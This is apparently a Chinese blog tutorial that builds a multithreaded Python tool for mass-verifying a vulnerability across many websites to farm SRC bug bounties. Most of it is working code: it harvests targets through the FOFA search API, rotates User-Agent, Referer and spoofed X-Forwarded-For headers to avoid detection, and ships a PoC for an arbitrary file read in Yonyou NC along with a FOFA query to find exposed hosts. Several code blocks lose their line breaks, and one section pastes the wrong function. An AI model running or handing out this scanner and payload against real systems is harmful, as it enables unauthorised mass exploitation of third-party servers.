Python漏洞验证自动化脚本批量刷SRC

我们实战经常会遇到以下几个问题：

1、遇到一个利用步骤十分繁琐的漏洞，中间错一步就无法利用

2、挖到一个通用漏洞，想要批量刷洞小赚一波，但手动去测试每个网站工作量太大

这个时候编写一个poc脚本将会将会减轻我们很多工作。本文将以编写一个高效通用的poc脚本为目的，学习一些必要的python知识，这周也是拒绝做工具小子努力学习的一周

一、requests模块使用技巧

Requests是Python中一个常用的HTTP请求库，使用Requests库来发起网络请求非常简单，具体的使用方法这里就不多介绍了，这里只提几个Requests模块的使用技巧。

1. 取消重定向

Requests 会自动处理所有重定向，但有时我们并不需要重定向，可以通过allow_redirects参数禁用重定向处理：

r = requests.get('http://github.com', allow_redirects=False)

2. SSL 证书验证

Requests在请求https网站默认会验证SSL证书，可有些网站并没有证书，可增加verify=False参数忽略证书验证，但此时可能会遇到烦人的InsecureRequestWarning警告消息。最终能没有警告消息也能访问无证书的https网站的方法如下：

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.get('https://github.com', verify=False)

3. 代理

使用代理的目的就不说了，使用方法如下：

# http代理，需要指定访问的http协议和https协议两种
proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:1080",
}
# socks5代理
proxies = {'http': 'socks5://user:pass@host:port','https': 'socks5://user:pass@host:port'
}
requests.get("http://example.org", proxies=proxies)

有个使用技巧就是代理到burp中，检查一下python发包。如我本地抓到requests请求包如下，可以发现特征十分明显，所以我们在实战使用时尽量修改User-Agent

4. 保持cookie

使用session会话对象，向同一主机发送多个请求，底层的 TCP 连接将会被重用，不仅能提性能还能保持cookie。

s = requests.Session()
s.get('http://httpbin.org/cookies/set/sessioncookie/123456789')
r = s.get("http://httpbin.org/cookies")

在编写poc脚本时我们只需要利用Requests模块发送带有payload的数据即可，配合上这里的小技巧可能会有更好的体验。

5. 验证结果

发送带有payload的请求后，我们需要通过分析响应包判断是否存在漏洞。往往存在漏洞的响应包都有一些特殊值，我们只需要在响应包中找到这样的特殊值即可证明存在漏洞，所以这里我们通常有两种写法。

成员运算符 - in

if 'xxx' in r.text:print('存在漏洞')
else:print('不存在漏洞')

正则匹配 - re.search()

if re.search('xxx',r.text):print('存在漏洞')
else:print('不存在漏洞')

这两种写法差不多，不过re.search()有个好处是可以使用正则表达式，在漏洞特征是动态变化的情况时也能有效的捕捉。

二、Python漏洞验证脚本编写技巧

1. 单线程poc脚本

通过上面request模块的学习，此时我们已经能写一个单线程poc脚本了，我对单线程的poc脚本的要求十分简单，就是简单，在面对不同的漏洞时简单修改几行代码就可以了。这里提供一个我自己写的单线程poc脚本，大概意思就是这样：

import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def Poc(url):proxy = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36','Connection':'close'}data = {'name':'xxxx','value':'xxxx'}try:response = requests.post(url=url,headers=headers,data=data,verify=False,proxies=proxy,timeout=10)if 'baidu' in response.text:print('存在漏洞')else:print('none')except Exception as e:print(f'请求失败:{e}')if __name__ == '__main__':url = 'https://www.baidu.com'Poc(url)

2. 颜色标记

我在使用多线程时就遇到一个问题，因为多线程处理的数据比较多，终端瞬间会输出大量信息，很容易就会忽略一些关键的信息。

然后我就想用颜色来区分不同的信息，在linux终端中使用\033[显示方式;前景色;背景色m的格式就能输出各个颜色的字体。这里推荐python第三方库：colorama

colorama是一个可以跨多终端显示不同颜色字符与背景的第三方库，在linux终端上，使用ANSI转义字符来实现彩色字体的输出。在windows的终端上，通过包装stdout实现。在windows和linux上有不同的实现方案，从而达到跨平台的效果。

安装第三方库的命令各位应该都会吧。

pip install colorama

具体使用参考官方文档：https://pypi.org/project/colorama/

我的使用习惯就是报错信息的字体使用红色，发现漏洞的字体使用绿色，此时部分代码如下：

from colorama import init,Fore
init(autoreset=True)
print(Fore.GREEN + '[+]存在漏洞')
print(Fore.RED + '[!]连接错误')

使用颜色后的终端输出如下，现在使用体验上明显会更好一点，大家也可以根据自己的喜好去设置。

3. 添加进度条

我们使用多线程的目的就是为了更快的处理更多的url，但目标过多，我们还是免不了更长时间的等待。我们经常会把脚本挂在那里跑，然后呆呆的等着。然后我就想做一个进度条，根据进度条能大概的去预估时间，然后安排自己的工作，提升工作效率，这不就是使用脚本的意义吗？

我首先就找到了很多人推荐的第三方库：tqdm，在多线程中使用时可以使用手动更新进度。

import time
from tqdm import tqdm
with tqdm(total=200) as pbar:pbar.set_description('Processing:')for i in range(20):time.sleep(0.1)pbar.update(10)

但我这里就遇到一个问题，很多人使用tqdm时只输出一个Progress bar任务条，但我们的需求是希望同时输出每次漏洞探测结果和任务条，这会导致这两者在终端中显示的混乱，如下图所示：

有没有一种办法能让任务条一直固定输出在终端的末尾呢，这样两个信息都能很清晰的显示。

我找了好久解决方法，但官方似乎说没有找到在多个平台上平等使用tqdm的方法，就没有这个功能。不过我最终找到官方提供了一个tqdm.write()方法，似乎能解决这个问题，只需要把脚本中所有print()方法换成tqdm.write()方法。

到这里我们就成功的拥有了一个进度条

4. 使用多线程

当我们想批量验证数个网站是否存在漏洞时，就需要多线程来提升效率了。关于Python多线程的详细知识这里就不是这里的重点了。这里我们将利用Threading和queue做一个多线程poc脚本，我计划的流程如下

把所有目标url放到queue队列中；

启动多线程从queue队列中获取目标并执行；

保存执行结果。

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import threading
import queue
from colorama import init,Fore
from tqdm import tqdm
init(autoreset=True)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
global_file_target_url = 'url.txt'
global_file_result = 'right.txt'
global_threads_num = 12
global_q = queue.Queue()
global_list_result = []
# 目标uri
global_where = ''
# payload 成功时页面标志信息
global_payload = 'test'
global_request_proxy = {'http':'socks5://127.0.0.1:8080','https':'socks5://127.0.0.1:8080'
}
global_request_headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36','cookie':'xxxxxxxxxxxxxx','Connection':'close' #关闭多余的连接请求
}
global_request_data = {'name':'xxxx','value':'xxxx'} #POST传递的数据
global_error = 0
def req(url):global global_errori = 0while i<3:if i>0:#print(f'[!]第{i}次重试请求{url}')tqdm.write(f'[!]第{i}次重试请求{url}')try:response = requests.get(url=url,headers=global_request_headers,verify=False,timeout=10)response.encoding = response.apparent_encodingtext = response.textif global_payload in text:return Trueelse:return Falseexcept Exception as e:if i==0:global_error +=1i = i+1#print(Fore.RED+f'[!]{url}请求失败')tqdm.write(Fore.RED+f'[!]{url}请求失败')
def poc(pbar):while not global_q.empty():target_url = global_q.get()url = target_url+global_whereif req(url):#print(Fore.GREEN+'[+]存在漏洞：'+target_url)tqdm.write(Fore.GREEN+'[+]存在漏洞：'+target_url)global_list_result.append(target_url)else:#print('[-]未发现漏洞')tqdm.write('[-]未发现漏洞')pbar.update(1)
def main():# 1、添加目标url队列with open(global_file_target_url,'r') as f:urls = f.readlines()for url in urls:url = url.strip()global_q.put(url)num_url = global_q.qsize()pbar = tqdm(total=num_url)pbar.set_description('Processing:')tqdm.write('url总数：'+str(num_url))# 2、启动多线程poc验证threads = []for _ in range(global_threads_num):t = threading.Thread(target=poc,args=(pbar,))threads.append(t)t.start()for t in threads:t.join()# 3、保存结果到文件 global_file_resultif global_list_result:file = open(global_file_result,'w')for res in global_list_result:file.write(res+"\n")file.close()tqdm.write(f'失败请求数{global_error}')
if __name__ == '__main__':main()

三、批量刷SRC漏洞脚本编写

思路：

1、poc尽可能简单。
2、多线程。
3、联动fofa获取目标。
4、随机请求头.

实现过程

脚本分为三个模块，获取poc及目标、多线程批量请求验证、输出结果。其中批量请求验证包括构造多线程，修改请求参数，发送请求三个部分。

Main函数

在main函数中，主要有三个部分获取poc及目标，多线程(将目标填充到队列，创建多线程并启动)、输出结果。
具体实现如下：

def main():# 响应Ctrl+C停止程序signal.signal(signal.SIGINT, quit)signal.signal(signal.SIGTERM, quit)showpocs()## 获取目标targetList = getTarget()## 多线程批量请求验证thread(targetList)## 输出结果putTarget(List)

获取目标

关于目标来源，设计单个目标、从文件中读取多个目标以及根据FoFa语法从FOFA_API中获取目标三种方式。

定义函数getTarget，函数分为两个部分

第一部分为根据 -f Fofa语法 获取目标，默认数目为30条，

第二部分为根据 -u url / -i file / -f num(数目，默认为10)获取要请求验证的目标，两部分以是否传参poc参数区别，最后返回一个targetList列表。

具体实现如下：

def getTarget():targetList=[]count=0if result.poc==None:if result.outfile!=None and result.fofa!=None :# FOFA读取目标if result.fofa!=None:qbase=result.fofaqbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")print("FOFA搜索："+qbase)fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30"try:res=requests.get(fofa_url)results = json.loads(res.text)filepath=result.outfilewith open(filepath,'w') as targets:for i in results['results']:targets.write(i[1]+'\n')print(i[1])count+=1print("搜索结果有"+str(count)+"条，已保存在"+filepath+"里！")except Exception as e:print(e)sys.exit()else:if result.url!=None or result.file!=None or result.fofa!=None:# 单个目标if result.url!=None:targetList.append(result.url)# 文件读取目标if result.file!=None:try:filepath=result.filewith open(filepath,'r') as targets:for target in targets.readlines():targetList.append(target.strip())except Exception as e:print(e)# FOFA读取目标if result.fofa!=None:qbase=""pocName = result.pocwith open('poc.json',encoding='UTF-8') as f:data = json.load(f)for poc in data:if pocName == poc:qbase=data[poc]['fofa']qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")try:fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size="+str(result.fofa)res=requests.get(fofa_url)results = json.loads(res.text)print("FOFA搜索："+qbase)print("搜索结果："+str(result.fofa)+"条")for i in results['results']:targetList.append(i[1])# print(targetList)except Exception as e:print(e)return targetListelse :sys.exit("参错有误！缺少目标！")

批量请求验证

定义thread函数，封装多线程请求相关代码，需传入获取到的目标参数targetList。
具体实现如下：

def thread(targetList):## 获取pocpoc=poc_load()## 填充队列queueLock.acquire()for target in targetList:targetQueue.put(target)queueLock.release()## 创建线程threadList = []threadNum=result.threadNumfor i in range(0,threadNum):t=reqThread(targetQueue,poc)t.setDaemon(True)threadList.append(t)for i in threadList:i.start()# 等待所有线程完成for t in threadList:t.join()

加载POC

请求验证必须使用 -p pocName参数指定要使用的POC，所有POC在poc.json文件中存储。

具体实现如下：

# 加载poc
def poc_load():if result.poc!=None:poc = result.pocisPoc = False # POC是否存在# 读取json文件with open('poc.json',encoding='UTF-8') as f:data = json.load(f)for key in data:if poc == key:isPoc=Trueif isPoc==False:print("POC 不存在！")sys.exit("请通过--show查看poc列表！")else:return data[poc]else:pass

多线程类：

定义reqThread线程类，传入队列以及poc两个参数，封装req请求方法。

具体实现如下：

class reqThread (threading.Thread):def __init__(self, q,poc):threading.Thread.__init__(self)self.q = qself.poc=pocdef run(self):try:while not self.q.empty():queueLock.acquire()target=self.q.get()queueLock.release()if self.req(target):print(target+" is vuln !")List.append(target)else:passexcept Exception as e:passdef req(self,url):poc=self.pocpayload=urlParse(url)+poc['request']['url']res=requests.request(method=poc['request']['method'],url=payload,headers=randomheaders(poc),proxies=getProxy(),data=poc['request']['data'],verify=False,timeout=5)if res.status_code==200 and poc['request']['confirm'] in res.text:return Trueelse:return False

其中在req中的请求方法内，存在三个修改请求的方法。

urlParse

对获取到的目标进行文本处理。

# 处理url
def urlParse(url):if "https://" not in url:if "http://" in url:url=urlelse:url="http://"+urlreturn url

getProxy

指定请求代理。

# 代理
def urlParse(url):if "https://" not in url:if "http://" in url:url=urlelse:url="http://"+urlreturn url

randomHeaders

添加随机User-Agent、referer、XFF等请求头参数值。

def randomHeaders(poc):headers={}uaList=['Mozilla/5.0 (X11; linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/17D50 UCBrowser/12.8.2.1268 Mobile AliApp(TUnionSDK/0.1.20.3)','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36','Mozilla/5.0 (Linux; android 8.1.0; OPPO R11t Build/OPM1.171019.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.19 SP-engine/2.15.0 baiduboxapp/11.19.5.10 (Baidu; P1 8.1.0)','Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 SP-engine/2.14.0 main%2F1.0 baiduboxapp/11.18.0.16 (Baidu; P2 13.3.1) NABar/0.0','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134','Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/4G Language/zh_CN','Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36',]refList=["www.baidu.com"]xffList=['127.0.0.1','51.77.144.148','80.93.212.46','109.123.115.10','187.44.229.50','190.14.232.58','5.166.57.222','36.94.142.165','52.149.152.236','68.15.147.8','188.166.215.141','190.211.82.174','101.51.139.179']if 'User-Agent' in poc['request']['headers']:if poc['request']['headers']['User-Agent'].strip()!='':headers['User-Agent']=poc['request']['headers']['User-Agent']else:headers['User-Agent']=random.choice(uaList)if 'referer' in poc['request']['headers']:if poc['request']['headers']['referer'].strip()!='':headers['referer']=poc['request']['headers']['referer']else:headers['referer']=random.choice(refList)if 'X-Forwarded-For' in poc['request']['headers']:if poc['request']['headers']['User-Agent'].strip()!='':headers['X-Forwarded-For']=poc['request']['headers']['X-Forwarded-For']else:headers['X-Forwarded-For']=random.choice(xffList)for key in poc['request']['headers']:if key != "referer" and key != "User-Agent" and key != "X-Forwarded-For":headers[key]=poc['request']['headers'][key]return headers

输出结果

定义全局变量List，储存要输出的目标，定义输出方法putTarget。
具体实现如下：

List=[]
## 输出
def putTarget(resultList):if result.file!=None or result.fofa!=None:if len(resultList)!=0 :if result.outfile != None :filepath=result.outfilewith open(filepath,'w') as targets:for target in resultList:targets.write(target+'\n')print("验证结果有"+str(len(resultList))+"条，已保存在"+filepath+"里！")else:print("没有发现存在漏洞的目标！")else:pass

其他

全局变量

# 忽略https告警
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
## 队列
targetQueue = queue.Queue(100)
## 锁
queueLock = threading.Lock()
# 结果
List=[]
# FoFA
email=""
key=""

命令行读取参数

arg = ArgumentParser(description='POC_Verify')
arg.add_argument('-u', dest='url',help='Target URL',type=str)
arg.add_argument('-i', '--file', dest='file',help='Scan multiple targets given in a textual file',type=str)
arg.add_argument('-f',"--fofa", dest='fofa',help='fofaquery Nums/String Example if poc -f 10 else -f "abc" default=30',default=10)
arg.add_argument('-p', dest='poc',help=' Load POC file from poc.json')
arg.add_argument('-proxy', dest='proxy',help='Use a proxy to connect to the target URL Example : -proxy http:127.0.0.1:8080',type=str)
arg.add_argument('-t', dest='threadNum',help='the thread_count,default=10', type=int, default=10)
arg.add_argument('-show', dest='show', help='show all pocs',nargs='?',const='all',type=str)
arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result', default='result.txt',type=str)
result = arg.parse_args()

poc详情显示

## 显示poc
def showpocs():isPoc = Falseif result.show != None:# 读取json文件with open('poc.json',encoding='UTF-8') as f:data = json.load(f)if result.show== "all":print("pocname".ljust(20),"description".ljust(20))print("----------------------------------------------")for key in data:print(key.ljust(20),data[key]['name'].ljust(20))else:if result.show in data:print("pocname".ljust(20),"description".ljust(20))print("----------------------------------------------")print(result.show.ljust(20),data[result.show]['name'].ljust(20))sys.exit()else:pass

Ctrl+C结束线程

# 停止程序
def quit(signum, frame):print('You choose to stop me.')sys.exit()
def main():# 响应Ctrl+C停止程序signal.signal(signal.SIGINT, quit)signal.signal(signal.SIGTERM, quit)

poc.json文件

poc本质为一次HTTP请求，本着简单的原则，仅设计名称、联动fofa的语法、请求头、请求内容、以及验证漏洞存在回显的内容5个字段。

{"pocname": {"name":"漏洞描述","fofa":"fofa搜索字符串，特殊符号需要转义","request": {"method": "","url":"","headers": {"referer": "","User-Agent": "","X-Forwarded-For": "","Content-Type": ""},"data": "","confirm": "回显字符串"}},"yonyounc": {"name": "用友NC 任意文件读取","fofa":"app=\"用友-UFIDA-NC\"","request": {"method": "get","url": "/NCFindWeb?service=IPreAlertConfigService&filename=index.jsp","headers": {"referer": "","User-Agent": "","X-Forwarded-For": ""},"data": "","confirm": "<%@ page language="}}
}

运行结果

FoFa获取目标

poc验证

完整代码

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from argparse import ArgumentParser
import json
import base64
import random
import threading
import queue
import time
import sys,signal
# 忽略https告警
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
## 队列
targetQueue = queue.Queue(100)
## 锁
queueLock = threading.Lock()
# 结果
List=[]
# FoFA
email=""
key=""
arg = ArgumentParser(description='POC_Verify')
arg.add_argument('-u', dest='url',help='Target URL',type=str)
arg.add_argument('-i', '--file', dest='file',help='Scan multiple targets given in a textual file',type=str)
arg.add_argument('-f',"--fofa", dest='fofa',help='fofaquery Nums/String Example if poc -f 10 else -f "abc" default=30',default=10)
arg.add_argument('-p', dest='poc',help=' Load POC file from poc.json')
arg.add_argument('-proxy', dest='proxy',help='Use a proxy to connect to the target URL Example : -proxy http:127.0.0.1:8080',type=str)
arg.add_argument('-t', dest='threadNum',help='the thread_count,default=10', type=int, default=10)
arg.add_argument('-show', dest='show', help='show all pocs',nargs='?',const='all',type=str)
arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result', default='result.txt',type=str)
result = arg.parse_args()
class reqThread (threading.Thread):def __init__(self, q,poc):threading.Thread.__init__(self)self.q = qself.poc=pocdef run(self):try:while not self.q.empty():queueLock.acquire()target=self.q.get()queueLock.release()if self.req(target):print(target+" is vuln !")List.append(target)else:passexcept Exception as e:passdef req(self,url):poc=self.pocpayload=urlParse(url)+poc['request']['url']res=requests.request(method=poc['request']['method'],url=payload,headers=randomHeaders(poc),proxies=getProxy(),data=poc['request']['data'],verify=False,timeout=5)if res.status_code==200 and poc['request']['confirm'] in res.text:return Trueelse:return False
## IP代理
def getProxy():proxy={}if result.proxy!= None:proxy[result.proxy[:result.proxy.index(":")]]=result.proxy[result.proxy.index(":")+1:]return proxy
# 处理url
def urlParse(url):if "https://" not in url:if "http://" in url:url=urlelse:url="http://"+urlreturn url
# 随机更换User-Agent、XFF、referer
def randomHeaders(poc):headers={}uaList=['Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/17D50 UCBrowser/12.8.2.1268 Mobile AliApp(TUnionSDK/0.1.20.3)','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36','Mozilla/5.0 (Linux; Android 8.1.0; OPPO R11t Build/OPM1.171019.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.19 SP-engine/2.15.0 baiduboxapp/11.19.5.10 (Baidu; P1 8.1.0)','Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 SP-engine/2.14.0 main%2F1.0 baiduboxapp/11.18.0.16 (Baidu; P2 13.3.1) NABar/0.0','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134','Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/4G Language/zh_CN','Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36',]refList=["www.baidu.com"]xffList=['127.0.0.1','51.77.144.148','80.93.212.46','109.123.115.10','187.44.229.50','190.14.232.58','5.166.57.222','36.94.142.165','52.149.152.236','68.15.147.8','188.166.215.141','190.211.82.174','101.51.139.179']if 'User-Agent' in poc['request']['headers']:if poc['request']['headers']['User-Agent'].strip()!='':headers['User-Agent']=poc['request']['headers']['User-Agent']else:headers['User-Agent']=random.choice(uaList)if 'referer' in poc['request']['headers']:if poc['request']['headers']['referer'].strip()!='':headers['referer']=poc['request']['headers']['referer']else:headers['referer']=random.choice(refList)if 'X-Forwarded-For' in poc['request']['headers']:if poc['request']['headers']['User-Agent'].strip()!='':headers['X-Forwarded-For']=poc['request']['headers']['X-Forwarded-For']else:headers['X-Forwarded-For']=random.choice(xffList)for key in poc['request']['headers']:if key != "referer" and key != "User-Agent" and key != "X-Forwarded-For":headers[key]=poc['request']['headers'][key]return headers
# 获取目标
def getTarget():targetList=[]count=0if result.poc==None:if result.outfile!=None and result.fofa!=None :# FOFA读取目标if result.fofa!=None:qbase=result.fofaqbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")print("FOFA搜索："+qbase)fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30"try:res=requests.get(fofa_url)results = json.loads(res.text)filepath=result.outfilewith open(filepath,'w') as targets:for i in results['results']:targets.write(i[1]+'\n')print(i[1])count+=1print("搜索结果有"+str(count)+"条，已保存在"+filepath+"里！")except Exception as e:print(e)sys.exit()else:if result.url!=None or result.file!=None or result.fofa!=None:# 单个目标if result.url!=None:targetList.append(result.url)# 文件读取目标if result.file!=None:try:filepath=result.filewith open(filepath,'r') as targets:for target in targets.readlines():targetList.append(target.strip())except Exception as e:print(e)# FOFA读取目标if result.fofa!=None:qbase=""pocName = result.pocwith open('poc.json',encoding='UTF-8') as f:data = json.load(f)for poc in data:if pocName == poc:qbase=data[poc]['fofa']qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")try:fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size="+str(result.fofa)res=requests.get(fofa_url)results = json.loads(res.text)print("FOFA搜索："+qbase)print("搜索结果："+str(result.fofa)+"条")for i in results['results']:targetList.append(i[1])# print(targetList)except Exception as e:print(e)return targetListelse :sys.exit("参错有误！缺少目标！")
# 加载poc
def poc_load():if result.poc!=None:poc = result.pocisPoc = False# 读取json文件with open('poc.json',encoding='UTF-8') as f:data = json.load(f)for key in data:if poc == key:isPoc=Trueif isPoc==False:print("POC 不存在！")sys.exit("请通过--show查看poc列表！")else:return data[poc]else:pass
## 输出
def putTarget(resultList):if result.file!=None or result.fofa!=None:if len(resultList)!=0 :if result.outfile != None :filepath=result.outfilewith open(filepath,'w') as targets:for target in resultList:targets.write(target+'\n')print("验证结果有"+str(len(resultList))+"条，已保存在"+filepath+"里！")else:print("没有发现存在漏洞的目标！")else:pass
## 显示poc
def showpocs():isPoc = Falseif result.show != None:# 读取json文件with open('poc.json',encoding='UTF-8') as f:data = json.load(f)if result.show== "all":print("pocname".ljust(20),"description".ljust(20))print("----------------------------------------------")for key in data:print(key.ljust(20),data[key]['name'].ljust(20))else:if result.show in data:print("pocname".ljust(20),"description".ljust(20))print("----------------------------------------------")print(result.show.ljust(20),data[result.show]['name'].ljust(20))sys.exit()else:pass
# 停止程序
def quit(signum, frame):print('You choose to stop me.')sys.exit()
def thread(targetList):## 获取pocpoc=poc_load()## 填充队列queueLock.acquire()for target in targetList:targetQueue.put(target)queueLock.release()## 创建线程threadList = []threadNum=result.threadNumfor i in range(0,threadNum):t=reqThread(targetQueue,poc)t.setDaemon(True)threadList.append(t)for i in threadList:i.start()# 等待所有线程完成for t in threadList:t.join()
def main():# 响应Ctrl+C停止程序signal.signal(signal.SIGINT, quit)signal.signal(signal.SIGTERM, quit)showpocs()## 获取目标targetList = getTarget()## 多线程批量请求验证thread(targetList)## 输出结果putTarget(List)
if __name__ == '__main__':main()